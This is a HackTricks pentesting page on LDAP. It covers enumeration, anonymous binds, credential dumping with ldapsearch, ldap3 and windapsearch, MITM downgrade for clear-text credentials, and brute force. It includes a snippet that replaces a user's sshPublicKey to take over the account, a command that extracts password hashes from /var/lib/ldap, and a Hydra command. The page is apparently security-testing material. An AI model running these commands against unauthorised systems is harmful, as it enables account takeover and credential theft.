# 389, 636, 3268, 3269 - Pentesting LDAP
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## Basic Information Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user. An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels: * The root directory (the starting place or the source of the tree), which branches out to * Countries, each of which branches out to * Organizations, which branch out to * Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for) * Individuals (which includes people, files, and shared resources such as printers) **Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. ``` PORT STATE SERVICE REASON 389/tcp open ldap syn-ack 636/tcp open tcpwrapped ``` ### LDAP Data Interchange Format LDIF (LDAP Data Interchange Format) defines the directory content as a set of records. It can also represent update requests (Add, Modify, Delete, Rename). ```bash dn: dc=local dc: local objectClass: dcObject dn: dc=moneycorp,dc=local dc: moneycorp objectClass: dcObject objectClass: organization dn ou=it,dc=moneycorp,dc=local objectClass: organizationalUnit ou: dev dn: ou=marketing,dc=moneycorp,dc=local objectClass: organizationalUnit Ou: sales dn: cn= ,ou= ,dc=moneycorp,dc=local objectClass: personalData cn: sn: gn: uid: ou: mail: pepe@hacktricks.xyz phone: 23627387495 ``` * Lines 1-3 define the top level domain local * Lines 5-8 define the first level domain moneycorp (moneycorp.local) * Lines 10-16 define 2 organizational units: dev and sales * Lines 18-26 create an object of the domain and assign attributes with values ## Write data Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. ```bash >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) >>> connection.bind() True >>> connection.extend.standard.who_am_i() u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) ## Sniff clear text credentials If LDAP is used without SSL you can **sniff credentials in plain text** in the network. Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login. **If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. ## Anonymous Access ### Bypass TLS SNI check According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user: ```bash ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + ``` ### LDAP anonymous binds [LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. \ However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD. ## Valid Credentials If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using: [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) ```bash pip3 install ldapdomaindump ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] ``` ### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) ## Enumeration ### Automated Using this you will be able to see the **public information** (like the domain name)**:** ```bash nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials ``` ### Python
See LDAP enumeration with python You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` First try to **connect without** credentials: ```bash >>> import ldap3 >>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True) >>> connection = ldap3.Connection(server) >>> connection.bind() True >>> server.info ``` If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from: ```bash >>> server.info DSA info (from DSE): Supported LDAP versions: 3 Naming contexts: dc=DOMAIN,dc=DOMAIN ``` Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory: ```bash >>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') True >> connection.entries ``` Or **dump** the whole ldap: ```bash >> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword') True >>> connection.entries ```
### windapsearch [**Windapsearch**](https://github.com/ropnop/windapsearch) **** is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries. ```bash # Get computers python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers # Get groups python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups # Get users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Domain Admins python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da # Get Privileged Users python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` ### ldapsearch Check null credentials or if your credentials are valid: ```bash ldapsearch -x -H ldap:// -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" ``` ```bash # CREDENTIALS NOT VALID RESPONSE search: 2 result: 1 Operations error text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera tion a successful bind must be completed on the connection., data 0, v3839 ``` If you find something saying that the "_bind must be completed_" means that the credentials arr incorrect. You can extract **everything from a domain** using: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "DC=<1_SUBDOMAIN>,DC=" -x Simple Authentication -H LDAP Server -D My User -w My password -b Base site, all data from here will be given ``` Extract **users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=" #Example: ldapsearch -x -H ldap:// -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local" ``` Extract **computers**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=" ``` Extract **my info**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Domain Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Domain Users**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Enterprise Admins**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Administrators**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` Extract **Remote Desktop Group**: ```bash ldapsearch -x -H ldap:// -D '\' -w '' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=" ``` To see if you have access to any password you can use grep after executing one of the queries: ```bash | grep -i -A2 -B2 "userpas" ``` Please, notice that the passwords that you can find here could not be the real ones... #### pbis You can download **pbis** from here: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) and it's usually installed in `/opt/pbis`.\ **Pbis** allow you to get basic information easily: ```bash #Read keytab file ./klist -k /etc/krb5.keytab #Get known domains info ./get-status ./lsa get-status #Get basic metrics ./get-metrics ./lsa get-metrics #Get users ./enum-users ./lsa enum-users #Get groups ./enum-groups ./lsa enum-groups #Get all kind of objects ./enum-objects ./lsa enum-objects #Get groups of a user ./list-groups-for-user ./lsa list-groups-for-user #Get groups of each user ./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done #Get users of a group ./enum-members --by-name "domain admins" ./lsa enum-members --by-name "domain admins" #Get users of each group ./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done #Get description of each user ./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n | grep "CN" | while read line; do echo "$line"; ./adtool --keytab=/etc/krb5.keytab -n -a lookup-object --dn="$line" --attr "description"; echo "======================" done ``` ## Graphical Interface ### Apache Directory [**Download Apache Directory from here**](https://directory.apache.org/studio/download/download-linux.html). You can find an [example of how to use this tool here](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s). ### jxplorer You can download a graphical interface with LDAP server here: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html) By default is is installed in: _/opt/jxplorer_ ![](<../.gitbook/assets/image (22) (1).png>) ## Authentication via kerberos Using `ldapsearch` you can **authenticate** against **kerberos instead** of via **NTLM** by using the parameter `-Y GSSAPI` ## POST If you can access the files where the databases are contained (could be in _/var/lib/ldap_). You can extract the hashes using: ```bash cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u ``` You can feed john with the password hash (from '{SSHA}' to 'structural' without adding 'structural'). ### Configuration Files * General * containers.ldif * ldap.cfg * ldap.conf * ldap.xml * ldap-config.xml * ldap-realm.xml * slapd.conf * IBM SecureWay V3 server * V3.sas.oc * Microsoft Active Directory server * msadClassesAttrs.ldif * Netscape Directory Server 4 * nsslapd.sas\_at.conf * nsslapd.sas\_oc.conf * OpenLDAP directory server * slapd.sas\_at.conf * slapd.sas\_oc.conf * Sun ONE Directory Server 5.1 * 75sas.ldif ## HackTricks Automatic Commands ``` Protocol_Name: LDAP #Protocol Abbreviation if there is one. Port_Number: 389,636 #Comma separated if there is more than one. Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for LDAP Note: | LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). https://book.hacktricks.xyz/pentesting/pentesting-ldap Entry_2: Name: Banner Grab Description: Grab LDAP Banner Command: nmap -p 389 --script ldap-search -Pn {IP} Entry_3: Name: LdapSearch Description: Base LdapSearch Command: ldapsearch -H ldap://{IP} -x Entry_4: Name: LdapSearch Naming Context Dump Description: Attempt to get LDAP Naming Context Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts Entry_5: Name: LdapSearch Big Dump Description: Need Naming Context to do big dump Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}" Entry_6: Name: Hydra Brute Force Description: Need User Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f ```
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